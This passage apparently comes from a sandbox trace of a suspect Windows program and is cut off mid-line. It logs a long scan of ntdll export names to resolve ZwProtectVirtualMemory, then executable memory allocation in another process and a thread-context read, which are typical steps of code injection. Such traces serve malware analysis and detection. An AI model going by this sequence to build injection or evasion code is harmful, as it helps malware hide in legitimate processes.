[0044.548] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrClientCallServer", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrGetProcessId", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgBreakPoint", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgPrint", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgPrintEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgPrompt", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgUiContinue", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="ZwProtectVirtualMemory") returned -1 [0044.548] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventEnabled", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventRegister", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventUnregister", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventWrite", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventWriteString", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwReplyNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwSendNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwSetMark", lpString2="ZwProtectVirtualMemory") returned -1 [0044.549] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="EtwTraceMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="KiFastSystemCall", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="KiFastSystemCallRet", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="KiIntSystemCall", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrAccessResource", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrAddRefDll", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrEnumResources", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrFindResource_U", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrGetFailureData", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="ZwProtectVirtualMemory") returned -1 [0044.550] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrHotPatchRoutine", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrLoadDll", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrLockLoaderLock", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrOpenImageFileOptionsKey", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrProcessRelocationBlock", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptions", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptionsEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrQueryImageFileKeyOption", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrQueryModuleServiceTags", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrQueryProcessModuleInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrRegisterDllNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrRemoveLoadAsDataTable", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrResFindResource", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrResFindResourceDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrResGetRCConfig", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrResRelease", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrResSearchResource", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrRscIsTypeExist", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrSetAppCompatDllRedirectionCallback", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrSetDllManifestProber", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrSetMUICacheType", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrShutdownProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrShutdownThread", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrUnloadAlternateResourceModule", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrUnloadAlternateResourceModuleEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrUnloadDll", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrUnlockLoaderLock", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrUnregisterDllNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksum", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksumEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrWx86FormatVirtualImage", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrpResGetMappingSize", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="LdrpResGetResourceDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0044.551] lstrcmpA (lpString1="MD4Final", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="MD4Init", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="MD4Update", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="MD5Final", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="MD5Init", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="MD5Update", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NlsAnsiCodePage", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NlsMbCodePageTag", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NlsMbOemCodePageTag", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAcceptConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAccessCheck", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAccessCheckAndAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAccessCheckByType", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAccessCheckByTypeAndAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAccessCheckByTypeResultList", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarmByHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAddAtom", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAddBootEntry", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAddDriverEntry", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAdjustGroupsToken", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAdjustPrivilegesToken", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlertResumeThread", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlertThread", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAllocateLocallyUniqueId", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAllocateReserveObject", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAllocateUserPhysicalPages", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAllocateUuids", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAllocateVirtualMemory", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlpcAcceptConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlpcCancelMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlpcConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlpcCreatePort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlpcCreatePortSection", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlpcCreateResourceReserve", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlpcCreateSectionView", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlpcCreateSecurityContext", lpString2="ZwProtectVirtualMemory") returned -1 [0044.552] lstrcmpA (lpString1="NtAlpcDeletePortSection", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcDeleteResourceReserve", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcDeleteSectionView", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcDeleteSecurityContext", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcDisconnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcImpersonateClientOfPort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcOpenSenderProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcOpenSenderThread", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcQueryInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcQueryInformationMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcRevokeSecurityContext", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcSendWaitReceivePort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAlpcSetInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtApphelpCacheControl", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAreMappedFilesTheSame", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtAssignProcessToJobObject", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCallbackReturn", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCancelIoFile", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCancelIoFileEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCancelSynchronousIoFile", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCancelTimer", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtClearEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtClose", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCloseObjectAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCommitComplete", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCommitEnlistment", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCommitTransaction", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCompactKeys", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCompareTokens", lpString2="ZwProtectVirtualMemory") returned -1 [0044.553] lstrcmpA (lpString1="NtCompleteConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCompressKey", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtContinue", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateDebugObject", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateDirectoryObject", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateEnlistment", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateEventPair", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateFile", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateIoCompletion", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateJobObject", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateJobSet", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateKey", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateKeyTransacted", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateKeyedEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateMailslotFile", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateMutant", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateNamedPipeFile", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreatePagingFile", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreatePort", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreatePrivateNamespace", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateProcessEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateProfile", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateProfileEx", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateResourceManager", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateSection", lpString2="ZwProtectVirtualMemory") returned -1 [0044.554] lstrcmpA (lpString1="NtCreateSemaphore", lpString2="ZwProtectVirtualMemory") returned -1 [0044.560] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x318) returned 0x986faf0 [0044.560] NtAllocateVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6aded70*=0x0, ZeroBits=0x0, RegionSize=0x6aded78*=0x318, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x6aded70*=0x1f0000, RegionSize=0x6aded78*=0x1000) returned 0x0 [0044.560] NtGetContextThread (in: ThreadHandle=0x1220, Context=0x6adedc0 | out: Context=0x6adedc0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x769f33b8, Rcx=0x0, Rdx=0x420efa, Rbx=0x7efde000, Rsp=0x2bfdd4, Rbp=0x2bfddc, Rsi=0x0, Rdi=0x0, R8=0x773501c4, R9=0x2bfb58, R10=0x0, R11=0x202, R12=0x7efdb000, R13=0x12fd20, R14=0x12eac0, R15=0x747b2450, Rip=0x420efa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, 